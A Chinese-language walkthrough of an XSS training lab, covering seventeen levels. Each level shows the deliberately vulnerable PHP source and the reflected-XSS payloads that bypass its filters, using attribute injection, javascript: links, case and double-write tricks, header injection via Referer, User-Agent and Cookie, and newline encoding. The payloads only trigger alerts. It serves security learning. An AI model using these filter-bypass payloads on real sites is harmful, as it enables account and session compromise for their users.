01.level1——直接注入

这里是接受参数的,所以可能是反射型xss,因此name的值可以构造成
原码如下:
//在html标签中插入php代码段,然后用php对其进行渲染
<script>
//hook
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level2.php?keyword=test";
}
//hook了alert方法,hook相当于把原方法重写了
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>"; //漏洞出现点,没有进行过滤,直接将输入进行拼接
?> //SSR服务端渲染
<center><img src=level1.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; //输出payload长度
?>
02.level2——避免被“”实例化
ctrl+shift+i 打开控制台查看原码:

发现输入被实例化(变成字符串拼接进去),查看后发现可以通过构造闭合进行反射
即
"><script>alert(123)</script>
或者优雅一点:
" οnclick=alert('123') //点击输入位时会有弹窗
或者更暴力一点:
" onfocus=alert('123') " //鼠标一放在页面内就弹窗
欢迎来到level2
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
补充知识:htmlspecialchars($str)是一个对字符串进行html编码的函数,嵌套后可以得到原字符串
其中html编码中 为空格,<为左尖括号,>为右尖括号,但尝试后发现单引号无法转义
03.level——html编码绕过
该题是对输入内容进行了html编码
尝试输入双引号”,查看控制台元素,发现被编码

尝试输入单引号,发现单引号逃逸出来了(其实是后面的单引号无法配对而多出来了一个)

所以可以先用单引号闭合在进行注入:' οnclick=alert(123) '
也可以进行无害化注入(xss测试常见),可多次检验:' οnfοcus=console.log("洋槐花") '——可以在控制台打印

每点击一次输入框都会重复显示一次
原码文件
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
PS:当html编码函数里面多一个“ENT_QUOTES”参数时,单引号就没法绕过了,即htmlspecialchars($str,ENT_QUOTES)
console.log:console.log()是JavaScript中的一个内置函数,用于在控制台输出信息;该方法对于开发过程进行测试很有帮助。可以输出之前在其中定义的任何类型的变量,或者只输出需要显示给用户的任何消息。
04.leve4——尖括号过滤

输入后发现——尖括号被过滤了,则标签alert用不了了,改用属性(如onclick、onfocus等)
先双引号避免实例化,再添加属性进行测试
payload: " onclick=console.log('yanghuaihua') "
原码如下:
<?php
ini_set("display_errors", 0); //不展示报错
$str = $_GET["keyword"];
$str2=str_replace(">","",$str); //左右尖括号替换为空
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
PS:在控制台元素中,字符串和属性颜色不相同
05.level5——XSS伪协议(a标签)
✅ 什么是伪协议(pseudo protocol / scheme)
伪协议,也叫伪协议头,是在 URL 中使用的“非标准协议”——也就是浏览器会特殊处理它们,不是真正去请求网络地址,而是执行某些特殊行为。
如:
javascript:
协议
html
<a href="javascript:alert('XSS')">点击我</a>
点击后不会跳转,而是执行 JS 代码。
测试
测试后发现常规的标签和属性被过滤了
使用标签script

使用属性onclick

绕过姿势
方法1——伪协议(用其他标签)(成功)
<a href=javascript:alert(1)>点击获得100万</a>
<img src=javascript:alert(1)> //但这个是无效图片源,浏览器无法解析
<iframe src="javascript:alert(1)"></iframe> //这个可以alert,但并不能触发window.alert
//因为iframe执行的是浏览器默认的alert,而不是主页面里的,这题无法使用
方法2——大小写绕过(失败)
"><sCript>alert(123)</script> //这题有strtolower函数,无法使用大小写混淆
方法3——双写绕过(失败)
前提:1、替换为空 2、只替换一次
但本题查看原码后发现"<script"被替换成"<s_cript",替换后不为空,故不能用双写绕过
$str2=str_replace("<script","<scr_ipt",$str);
方法4——html编码(失败)
因为value没有对输入进行html编码转义,而是直接进行拼接
<input name=keyword value="'.$str3.'">
原码如下:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
06.level6——大小写混淆
测试
本题没有level5的strtolower函数,所以可以大小写绕过script
原码如下:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str); //过滤了常用的标签和属性
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
07.level7——双写绕过
本题常见关键字替换后为空,因此可以用双写绕过
测试
"><sscriptcript>alert(123)</sscriptcript>
" oonnclick=alert(123) "
源码如下:
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
08.level8——编码+伪协议绕过
因为对value进行了编码转义,所以可以将过滤的关键字用“catlfencoder”进行编码
$str2=str_replace("script","scr_ipt",$str);
<input name=keyword value="'.htmlspecialchars($str).'">
测试:
javascript
:alert(123)
源码如下:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6); //双引号也进行了过滤
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; //将过滤后的输入插入超链接位
?>
09.lever9——注释绕过
原理:
用注释将"http://"包裹,过滤时对字符判断时它的确存在,但不会影响js伪协议的解析
字符判断时“//”是不会影响strpos的执行,它会把//当成字符的一部分
javascript
:alert(123)/*http://*/
源码如下:
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://')) //这里判断输入中是否存在"http://",没有就会触发不合法
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; //有就直接拼接
}
?>
010.level10——隐藏参数+隐藏类型
打开页面发现没有输入框,没有提交按钮
打开控制台,查找元素——发现有很多隐藏的参数

同时尝试GET请求传参,发现t_sort有接收传值的能力(即发现注入点)

测试:
发现尖括号被过滤,放弃标签,改用属性
因为输入类型是hidden,又想要使用属性onclick时,先用双引号闭合前面,再用type="text"更改属性
t_sort=" onclick=alert(123) type="text"
原码如下:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
011.level11——referer头注入
本题不好想,所以直接附上原码(白盒)
其实看元素也能看出一点端倪:

因为隐藏元素中的t_ref和网站的referer一模一样

原码如下:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
测试:
没有对referer做充足的过滤(如html编码、on替换等)
payload:
" onclick=alert(123) type="text"
012.level12——User-Agent注入
这题类似,但换成了USER—Agent

打开hackbar,构造payload

013.level13——Cookie注入
原理类似上面
原码如下
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
014.level14——将xss插入图片详细信息
原环境图片网站坏掉了。。。
015.level15
看源码发现有个提示:nginclude

来源为:

所以传递一个src来触发xss的文件
payload:
'level1.php?name=<img src=1 onerror=alert(1)> '
或
'level1.php?name=<script>alert(1)</script>'
部分源码如下:
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
016.level16——空格过滤
用换行符的编码绕过空格过滤——%0a
<img%0asrc=1%0aonerror=alert(123)>
原理:因为浏览器有自我修正机制,会将不正常的换行符变成空格
而本题正好有空格直接过滤,用换行符绕过,过滤后浏览器再对换行符进行修正,拼接xss
017.level17——onmouseover
查看原码:

构造arg01=a&arg02=123%20οnmοuseοver=alert(123)
原理:
在后端没有对空格做严格过滤时,空格将字符和属性分隔
原码如下:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>